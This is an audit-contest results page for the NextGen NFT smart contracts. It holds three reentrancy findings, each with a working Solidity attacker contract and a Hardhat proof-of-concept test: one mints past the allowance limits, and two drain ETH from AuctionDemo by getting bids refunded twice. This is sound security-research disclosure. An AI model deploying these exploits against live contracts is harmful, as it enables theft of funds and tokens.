NextGen - 00xSEV's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 32/243

Findings: 8

Award: $398.86

QA:
grade-b

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236

Vulnerability details

Vulnerability Details

Prerequisites:

  • Option 1:
    • AllowList phase
    • Attacker has a merkleProof with _maxAllowance > 0
  • Option 2:
    • public mint phase (phase 2)

Steps:

  1. Call MinterContract.mint
  2. onERC721Received call mint again
  3. Can repeat step 2 indefinitely up to totalSupply

Variant:

  • Can also reenter from burnOrSwapExternalToMint to MinterContract.mint, tokensMintedAllowlistAddress and tokensMintedPerAddress won't be updated and can mint one more than allowed

Impact

Attacker minted more tokens than was allowed to him Others can mint less or can't mint at all because circulatingSupply is closer or equal to totalSupply

Proof of Concept

  1. Install merkletreejs to generate merkle proof cd hardhat && npm i merkletreejs
  2. Put the contract below in hardhat/smart-contracts
// SPDX-License-Identifier: MIT
import  "./MinterContract.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract ReentersMint is IERC721Receiver {
    uint mintedTimes = 0;
    NextGenMinterContract minter;
    bytes32[] merkleProof;

    constructor(NextGenMinterContract _minter) {
        minter = _minter;
    }

    function setProof(bytes32[] calldata _merkleProof) external{
        merkleProof = _merkleProof;
    }

    function mint() external {
        minter.mint(
            1, // uint256 _collectionID,
            2, // uint256 _numberOfTokens,
            2, // uint256 _maxAllowance,
            "",// string memory _tokenData,
            address(this),// address _mintTo,
            merkleProof,// bytes32[] calldata merkleProof,
            address(0),// address _delegator,
            0// uint256 _saltfun_o
        );
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external returns (bytes4) {

        if (mintedTimes >= 2){
            return IERC721Receiver.onERC721Received.selector;   
        }
        mintedTimes += 1;

        minter.mint(
            1, // uint256 _collectionID,
            2, // uint256 _numberOfTokens,
            2, // uint256 _maxAllowance,
            "",// string memory _tokenData,
            address(this),// address _mintTo,
            merkleProof,// bytes32[] calldata merkleProof,
            address(0),// address _delegator,
            0// uint256 _saltfun_o
        );

        return IERC721Receiver.onERC721Received.selector;
    }
}
  1. Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js
// @ts-check
const TEST_NAME = "Possible to mint more than allowed in `_maxAllowance`";
const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai");
// @ts-ignore
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js")
const { MerkleTree } = require('merkletreejs');
const { keccak256 } = require("@ethersproject/keccak256");
  
let signers
let contracts
  

describe("NextGen Tests", function () {
    let attacker;
    let attackerContract;

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhReentersMint = await (
        await ethers.getContractFactory("ReentersMint")
      ).deploy(contracts.hhMinter);
      
      attackerContract = contracts.hhReentersMint.connect(attacker);
    })

    context(TEST_NAME, () => {
        let endTimestampAllowList;
        let startTimestampPublicSale;
        let collectionAdmin;
        let COLLECTION_ID;
        let proof;
        

        beforeEach(async function () {
            COLLECTION_ID = await contracts.hhCore.newCollectionIndex();
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                COLLECTION_ID, // _collectionID
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                COLLECTION_ID, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                COLLECTION_ID, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestampAllowList = await getLatestBlockTimestamp();
            endTimestampAllowList = startTimestampAllowList + 1000
            // Makes sure the attacker is in the merkle tree
            let root;
            ({root, proof} = await createMerkleProofWith2Spots(attackerContract));

            startTimestampPublicSale = startTimestampAllowList + 1000;
            await contracts.hhMinter.setCollectionPhases(
                COLLECTION_ID, // _collectionID
                startTimestampAllowList, // _allowlistStartTime
                endTimestampAllowList, // _allowlistEndTime
                // Enough time for both
                startTimestampPublicSale, // _publicStartTime
                endTimestampAllowList + 1000, // _publicEndTime
                root, // _merkleRoot
            )
        })
        it("attacks merkle root", async function() {
            const balanceBefore = await contracts.hhCore.balanceOf(attackerContract);
            expect(balanceBefore).to.eq(0);

            // We have set _maxAllowance = 2 in `createMerkleProofWith2Spots` (spots array)
            await attackerContract.setProof(proof);
            await attackerContract.mint();
            const balanceAfter = await contracts.hhCore.balanceOf(attackerContract);
            expect(balanceAfter).to.eq(6);

            // Calling mint second time should not work (as expected)
            await expect(attackerContract.mint())
                // @ts-ignore
                .to.be.revertedWith("AL limit")
        })

        it("attacks option 2 (public sale)", async function() {
            // Skip time until public sale
            await ethers.provider.send('evm_setNextBlockTimestamp', [startTimestampPublicSale + 1]);

            const maxAllowance = await contracts.hhCore.viewMaxAllowance(COLLECTION_ID);
            expect(maxAllowance).eq(2);

            const attackerContract = contracts.hhReentersMint.connect(attacker);
            const balanceBefore = await contracts.hhCore.balanceOf(attackerContract);
            expect(balanceBefore).to.eq(0);

            await attackerContract.mint();
            const balanceAfter = await contracts.hhCore.balanceOf(attackerContract);
            expect(balanceAfter).to.eq(6);

            // Calling mint second time should not work (as expected)
            await expect(attackerContract.mint())
                // @ts-ignore
                .to.be.revertedWith("Max")
        })

    });
});
async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

// see create_merkle.js example and https://github.com/miguelmota/merkletreejs-nft-whitelist
// creates a merkle tree of 2 elements with an `account` having 2 spots
async function createMerkleProofWith2Spots(account) {
    // slice(2) removes 0x
    const address = (await account.getAddress()).slice(2);
    

    const allowList = [ address, '5B38Da6a701c568545dCfcB03FcB875f56beddC4',];
    const spots = [ 
        '0000000000000000000000000000000000000000000000000000000000000002', 
        '0000000000000000000000000000000000000000000000000000000000000000'
    ];
    const txinfo = [ '', '', ];
    const leaves = allowList.map((addr, index) => {
        const concatenatedData = addr + spots[index] + txinfo[index];
        const bufferData = Buffer.from(concatenatedData , 'hex');
        return keccak256(bufferData);
    });

    const merkleTree = new MerkleTree(leaves, keccak256, { sortPairs: true });
    return {
        root: merkleTree.getHexRoot(),
        proof: merkleTree.getHexProof(leaves[0])
    };
}

Tools Used

Manual review

Add nonReentrant modifier to MinterContract.mint Use Pull over Push pattern Use CEI pattern

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-20T15:24:05Z

141345 marked the issue as duplicate of #51

#1 - c4-pre-sort

2023-11-26T14:03:07Z

141345 marked the issue as duplicate of #1742

#2 - c4-judge

2023-12-08T16:26:12Z

alex-ppg marked the issue as satisfactory

#3 - c4-judge

2023-12-08T16:26:21Z

alex-ppg marked the issue as partial-50

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
partial-50
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L139

Vulnerability details

Vulnerability Details

Prerequisites:

  • Attacker made several bids
  • Attacker is the winner
  • block.timestamp == minter.getAuctionEndTime(_tokenid) (1/12 chance if selected in random, see more in this answer)
  • Attacker has fallback payable function
  • AuctionDemo contract has at least 2x more funds than the attacker's bids except for the winning bid and the first bid
    • Can be bets from other bidders or from other auctions

Steps for the attacker:

  1. Call cancelAllBids
  2. On payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); in fallback payable call claimAuction on the first call
    receive() external payable{
        require(tokenId != 0, "tokenId is not set");
        if (!hasBeenCalled){
            hasBeenCalled = true;
            auction.claimAuction(tokenId);
        }
    }

Impact

Bids (except for the first one and the winning one) are returned to the attacker twice:

  1. In claimAuction payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
  2. In cancelAllBids payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); Attacker also receives the NFT

Proof of Concept

Put the contract below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract CallsClaimAuctionOnFirstPayment is IERC721Receiver {
    auctionDemo immutable auction;
    uint tokenId;
    bool hasBeenCalled;

    constructor(auctionDemo _auction) {
        auction = _auction;
    }

    function setTokenId(uint _tokenId) external {
        tokenId = _tokenId;
    }
    function bid() external payable {
        require(msg.value > 0, "msg.value is required");
        require(tokenId != 0, "tokenId is not set");
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function cancelAllBids() external {
        auction.cancelAllBids(tokenId);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable{
        require(tokenId != 0, "tokenId is not set");
        if (!hasBeenCalled){
            hasBeenCalled = true;
            auction.claimAuction(tokenId);
        }
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check
const TEST_NAME = "Attacker can receive their bids back twice + NFT";
const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    let attacker;

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhCallsClaimAuctionOnFirstPayment = await (
        await ethers.getContractFactory("CallsClaimAuctionOnFirstPayment", attacker)
      ).deploy(await contracts.hhAuction.getAddress());
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhCallsClaimAuctionOnFirstPayment.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context(TEST_NAME, () => {
        let tokenId;
        let endTimestamp;
        let collectionAdmin;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                1, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                collectionAdmin.address, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );
        })
        it("attacks", async function() {
            // Simulate that auction contract has ether
            const AUCTION_STARTING_BALANCE = ethers.parseEther("20");
            await ethers.provider.send("hardhat_setBalance", [
                await contracts.hhAuction.getAddress(),
                "0x" + AUCTION_STARTING_BALANCE.toString(16),
              ]);
            expect(await ethers.provider.getBalance(contracts.hhAuction))
                .to.eq(AUCTION_STARTING_BALANCE);

            // Create a variable for convenience
            const attackerContract = await contracts.hhCallsClaimAuctionOnFirstPayment.connect(attacker);
            await attackerContract.setTokenId(tokenId);

            // Step1: bet 3 times
            const firstBid = ethers.parseEther("1.0");
            const secondBid = ethers.parseEther("1.1");
            const thirdBid = ethers.parseEther("1.2");


            await attackerContract.bid({value: firstBid});
            await attackerContract.bid({value: secondBid});
            await attackerContract.bid({value: thirdBid});

            // Step2: bet 4th time to win
            const winningBid = ethers.parseEther("1.3");
            await attackerContract.bid({value: winningBid});

            // Make sure have no funds before the attack
            expect(await ethers.provider.getBalance(attackerContract)).to.eq(0);

            // Step3
            // Skip till the end of auction
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]);

            // Call `cancelAllBids` from the attacker account
            await attackerContract.cancelAllBids();
            await ethers.provider.send("evm_mine");

            // Make sure attack was successful
            const expectedBalance = firstBid + secondBid * 2n + thirdBid * 2n + winningBid;
            const balanceAfter = await ethers.provider.getBalance(attackerContract);
            expect(balanceAfter).to.eq(expectedBalance);
            expect(firstBid+secondBid+thirdBid+winningBid).be.lessThan(balanceAfter);

            // check attacker owns the NFT too
            expect(await contracts.hhCore.ownerOf(tokenId))
                .to.eq(await attackerContract.getAddress());
        })

    });
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Add nonReentrant to cancelAllBids, claimAuction Use Pull over Push pattern

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-20T15:23:21Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-04T21:41:17Z

alex-ppg marked the issue as duplicate of #1323

#2 - c4-judge

2023-12-08T18:01:59Z

alex-ppg marked the issue as partial-50

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
satisfactory
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Vulnerability Details

Prerequisites:

  • getAuctionEndTime is a valid block.timestamp (1/12 chance if selected in random, see more in this answer)
  • claimAuction will be called on block.timestamp == minter.getAuctionEndTime(_tokenid) (can be called by the attacker if they are also a winner)
  • There are enough ETH on AuctionDemo contract to make double payments
    • e.g. there are other unfinished auction with active bids

Steps by the attacker if the attacker is the winner:

  1. Bet at least once
    • Best to bet more ETH so no one else will have incentive to win
    • Best to bet several times
  2. Bet once more enough to win
  3. Wait until almost the end of the auction, pay flashbots to include you in the block where block.timestamp == minter.getAuctionEndTime(_tokenid). For example using minTimestamp & maxTimestamp parameters, allowed, see docs. Or just calculate desired block number and use it
    • In the transaction the attacker is calling claimAuction
    • The attacker checks how many returns happened to there receive/fallback payable functions
    • On the last return they call cancelAllBids, which is called on payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
    receive() external payable{
        require(tokenId != 0, "tokenId is not set");
        returnsCounter+=1;
        bool isLastNonWiningBet = returnsCounter == bidCounter-1;
        if (isLastNonWiningBet){
            auction.cancelAllBids(tokenId);
        }
    }
    • They receive auctionInfoData[_tokenid][i].bid first in claimAuction, then in cancelBid/cancelBids

Steps by the attacker if the attacker is not the winner:

Note: lower chance of the attack success here

  1. Bet at least once
    • Best to bet several times
    • To make sure they are not the winner can bet below market
  2. Somebody else rebids and win
  3. claimAuction is called on block.timestamp == minter.getAuctionEndTime(_tokenid)
    1. Not the lowest chance because often the winner will want to get there NFT ASAP and return other bids
    2. Also admins also has incentive to end auctions earlier so owner, winner and other bidders receive funds/NFT
  4. The attacker has a call to cancelAllBids in receive/fallback payable, which is called on payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
  5. They receive auctionInfoData[_tokenid][i].bid first in claimAuction, then in `cancelAllBids

Variations: The attacker can also call cancelBid on each call, but they will need to track their bet's index in this case.

Impact

Attacker receives double his bets except for the first one. E.g. for 4 bets: 1.0Eth, 1.1Eth, 1.2Eth, 1.3Eth they will receive back 1.0*2 + 1.1*2 + 1.2*2 + 1.3 = 7.9Eth (The winning bet will be returned only once) 7.9-4.6=3.3 Eth is stolen from the contract

Proof of Concept

Put the contracts below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract CallsCancelBidsOnPayment is IERC721Receiver {
    auctionDemo immutable auction;
    uint tokenId;
    uint bidCounter;
    uint returnsCounter;

    constructor(auctionDemo _auction) {
        auction = _auction;
    }

    function setTokenId(uint _tokenId) external {
        tokenId = _tokenId;
    }
    function bid() external payable {
        require(msg.value > 0, "msg.value is required");
        require(tokenId != 0, "tokenId is not set");
        auction.participateToAuction{value: msg.value}(tokenId);
        bidCounter+=1;
    }

    function claim() external {
        auction.claimAuction(tokenId);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable{
        require(tokenId != 0, "tokenId is not set");
        returnsCounter+=1;
        bool isLastNonWiningBet = returnsCounter == bidCounter-1;
        if (isLastNonWiningBet){
            auction.cancelAllBids(tokenId);
        }
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check
const TEST_NAME = "Any bidder can return their bid twice";
const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    let attacker;

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhCallsCancelBidsOnPayment = await (
        await ethers.getContractFactory("CallsCancelBidsOnPayment", attacker)
      ).deploy(await contracts.hhAuction.getAddress());
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhCallsCancelBidsOnPayment.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context(TEST_NAME, () => {
        let tokenId;
        let endTimestamp;
        let collectionAdmin;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                1, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                collectionAdmin.address, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );
        })
        it("attacks", async function() {
            // Simulate that auction contract has ether
            const AUCTION_STARTING_BALANCE = ethers.parseEther("20");
            await ethers.provider.send("hardhat_setBalance", [
                await contracts.hhAuction.getAddress(),
                "0x" + AUCTION_STARTING_BALANCE.toString(16),
              ]);
            expect(await ethers.provider.getBalance(contracts.hhAuction))
                .to.eq(AUCTION_STARTING_BALANCE);

            // Create a variable for convenience
            const attackerContract = await contracts.hhCallsCancelBidsOnPayment.connect(attacker);
            await attackerContract.setTokenId(tokenId);

            // Step1: bet 3 times
            const firstBid = ethers.parseEther("1.0");
            const secondBid = ethers.parseEther("1.1");
            const thirdBid = ethers.parseEther("1.2");


            await attackerContract.bid({value: firstBid});
            await attackerContract.bid({value: secondBid});
            await attackerContract.bid({value: thirdBid});

            // Step2: bet 4th time to win
            const winningBid = ethers.parseEther("1.3");
            await attackerContract.bid({value: winningBid});

            // Make sure have no funds before the attack
            expect(await ethers.provider.getBalance(attackerContract)).to.eq(0);

            // Step3
            // Skip till the end of auction
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]);

            // Call `claimAuction` from the attacker account
            await attackerContract.claim();
            await ethers.provider.send("evm_mine");

            // Make sure attack was successful
            const expectedBalance = firstBid * 2n + secondBid * 2n + thirdBid * 2n + winningBid;
            const balanceAfter = await ethers.provider.getBalance(attackerContract);
            expect(balanceAfter).to.eq(expectedBalance);
            expect(firstBid+secondBid+thirdBid+winningBid).be.lessThan(balanceAfter);
        })

    });
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Use Pull over Push pattern. Change >= to > in block.timestamp >= minter.getAuctionEndTime(_tokenid) in claimAuction Use nonReentrant modifiers

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-11-14T13:36:13Z

141345 marked the issue as duplicate of #1904

#1 - c4-pre-sort

2023-11-14T23:31:39Z

141345 marked the issue as duplicate of #962

#2 - c4-judge

2023-12-04T21:41:42Z

alex-ppg marked the issue as duplicate of #1323

#3 - c4-judge

2023-12-08T18:01:41Z

alex-ppg marked the issue as satisfactory

Findings Information

🌟 Selected for report: smiling_heretic

